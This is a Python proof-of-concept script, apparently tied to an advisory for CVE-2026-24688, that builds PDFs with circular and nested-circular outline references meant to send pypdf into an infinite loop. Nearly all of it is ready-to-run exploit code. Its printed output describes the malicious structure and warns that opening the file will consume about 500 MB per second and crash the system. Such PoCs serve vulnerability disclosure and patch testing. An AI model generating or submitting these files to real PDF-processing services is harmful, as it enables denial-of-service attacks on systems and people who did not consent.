README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Create a malicious PDF with circular outline references.
This demonstrates the infinite loop vulnerability in pypdf's outline parsing (CVE-2026-24688).
"""
import sys
from pathlib import Path
# Add pypdf to path
sys.path.insert(0, str(Path(__file__).parent.parent))
from pypdf import PdfWriter
from pypdf.generic import (
ArrayObject,
DictionaryObject,
IndirectObject,
NameObject,
NumberObject,
TextStringObject,
)
def create_malicious_circular_outline():
"""
Create a PDF with circular outline reference: A → B → A
This will cause an infinite loop when accessing reader.outline
"""
writer = PdfWriter()
# Add a blank page so PDF is valid
writer.add_blank_page(width=200, height=200)
# Manually create outline structure with circular reference
# We need to create the outline dictionary and items manually
# Create outline items FIRST (before registering)
outline_item_a = DictionaryObject()
outline_item_b = DictionaryObject()
# Register them to get indirect references
ref_a = writer._add_object(outline_item_a)
ref_b = writer._add_object(outline_item_b)
# Now populate Item A
outline_item_a.update({
NameObject("/Title"): TextStringObject("Bookmark A"),
NameObject("/Parent"): IndirectObject(1, 0, writer), # Will point to outlines dict
NameObject("/Next"): ref_b, # Points to B
NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
})
# Populate Item B with CIRCULAR REFERENCE back to A
outline_item_b.update({
NameObject("/Title"): TextStringObject("Bookmark B"),
NameObject("/Parent"): IndirectObject(1, 0, writer), # Will point to outlines dict
NameObject("/Next"): ref_a, # ← CIRCULAR REFERENCE!
NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
})
# Create the main outlines dictionary
outlines_dict = DictionaryObject()
outlines_ref = writer._add_object(outlines_dict)
outlines_dict.update({
NameObject("/Type"): NameObject("/Outlines"),
NameObject("/First"): ref_a,
NameObject("/Last"): ref_b,
NameObject("/Count"): NumberObject(2),
})
# Update parent references
outline_item_a[NameObject("/Parent")] = outlines_ref
outline_item_b[NameObject("/Parent")] = outlines_ref
# Add outlines to catalog
writer.root_object[NameObject("/Outlines")] = outlines_ref
# Write the malicious PDF
output_path = Path(__file__).parent / "malicious_circular_outline.pdf"
with open(output_path, "wb") as f:
writer.write(f)
print(f" Created malicious PDF: {output_path}")
print()
print("PDF structure:")
print(" Outline Item A → Next: Item B")
print(" Outline Item B → Next: Item A ← CIRCULAR!")
print()
print(" WARNING: Opening this PDF with pypdf will cause an INFINITE LOOP!")
return output_path
def create_nested_circular_outline():
"""
Create PDF with nested circular reference via /First
Structure:
A → /First: B
B → /Next: C
C → /First: A ← Circular via nesting
"""
writer = PdfWriter()
writer.add_blank_page(width=200, height=200)
# Create items
item_a = DictionaryObject()
item_b = DictionaryObject()
item_c = DictionaryObject()
ref_a = writer._add_object(item_a)
ref_b = writer._add_object(item_b)
ref_c = writer._add_object(item_c)
# A has B as child
item_a.update({
NameObject("/Title"): TextStringObject("Section A"),
NameObject("/First"): ref_b, # Child: B
NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
})
# B has C as next
item_b.update({
NameObject("/Title"): TextStringObject("Section B"),
NameObject("/Next"): ref_c, # Next sibling: C
NameObject("/Parent"): ref_a,
NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
})
# C has A as child ← CIRCULAR!
item_c.update({
NameObject("/Title"): TextStringObject("Section C"),
NameObject("/First"): ref_a, # ← Circular reference!
NameObject("/Parent"): ref_a,
NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
})
# Main outlines
outlines_dict = DictionaryObject()
outlines_ref = writer._add_object(outlines_dict)
outlines_dict.update({
NameObject("/Type"): NameObject("/Outlines"),
NameObject("/First"): ref_a,
NameObject("/Last"): ref_a,
NameObject("/Count"): NumberObject(1),
})
item_a[NameObject("/Parent")] = outlines_ref
writer.root_object[NameObject("/Outlines")] = outlines_ref
output_path = Path(__file__).parent / "malicious_nested_circular.pdf"
with open(output_path, "wb") as f:
writer.write(f)
print(f"Created nested circular PDF: {output_path}")
print()
print("PDF structure:")
print(" A → /First: B")
print(" B → /Next: C")
print(" C → /First: A ← CIRCULAR VIA NESTING!")
return output_path
if __name__ == "__main__":
print("=" * 70)
print("pypdf Circular Outline Reference - PoC Generator")
print("=" * 70)
print()
# Create malicious PDF
pdf1 = create_malicious_circular_outline()
print()
print("=" * 70)
print("Malicious PDF created successfully!")
print("=" * 70)
print()
print("To test the vulnerability:")
print()
print("timeout 15s python test_exploit.py")
print()
print("WARNING: This will consume ~500 MB/sec and crash your system!")